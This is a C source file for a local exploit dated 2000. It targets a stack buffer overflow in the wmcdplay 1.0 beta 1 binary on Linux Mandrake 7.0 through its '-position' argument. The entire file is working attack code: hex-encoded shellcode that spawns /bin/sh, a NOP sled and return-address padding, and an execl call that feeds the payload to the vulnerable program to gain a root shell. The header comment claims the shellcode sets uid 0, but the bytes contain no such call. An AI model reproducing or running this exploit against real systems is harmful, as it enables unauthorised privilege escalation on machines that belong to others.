/*
  Local exploit for Linux Mandrake 7.0's wmcdplay 1.0 beta 1
   - Found by TESO crew originally, although multiple bof's exist elsewhere.
   - I chose the "-position" argument to exploit, TESO used the "-d".

  Code: dethy @ synnergy.net 
*/

#include <stdio.h>
#include <stdlib.h>

#define NOP	0x90
#define BS	1300
#define OFF	400	/* increment +- 100 */

/* uid(0); euid(0); */
char shellcode[] =	
	"\xeb\x1f"                      /* jmp 0x1f        [2000]*/
	"\x5e"                          /* popl %esi       [2000]*/
	"\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax  [2000]*/
	"\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al   [2000]*/
	"\x89\xf3"                      /* movl %esi,%ebx  [2000]*/
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80       [2000]*/
	"\x31\xdb"                      /* xorl %ebx,%ebx  [2000]*/
	"\x89\xd8"                      /* movl %ebx,%eax  [2000]*/
	"\x40"                          /* inc %eax        [2000]*/
	"\xcd\x80"                      /* int $0x80       [2000]*/
	"\xe8\xdc\xff\xff\xff"          /* call -0x24      [2000]*/
	"/bin/sh";                      /* .string \"/bin/sh\"   */


u_long get_sp(void) { __asm__("movl %esp,%eax"); }

void main(int argc, char **argv) {
    char *buffer, *ptr; long *address_ptr, *address;
    int i, bsize = BS, nop = NOP, offset = OFF;
    buffer = malloc(bsize);

    (char *)address = get_sp() - offset;
    printf("return address: %#x\n", address);

    ptr = buffer;   
    address_ptr = (long *)ptr;

    for(i=0; i < bsize; i += 4) (int *) *(address_ptr++) = address;
    for(i=0; i < bsize / 2 ; i++) buffer[i] = nop;

    memcpy(buffer + i, shellcode, strlen(shellcode));
    execl("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-position", buffer, 0);
}
/*                    www.hack.co.za           [21 July 2000]*/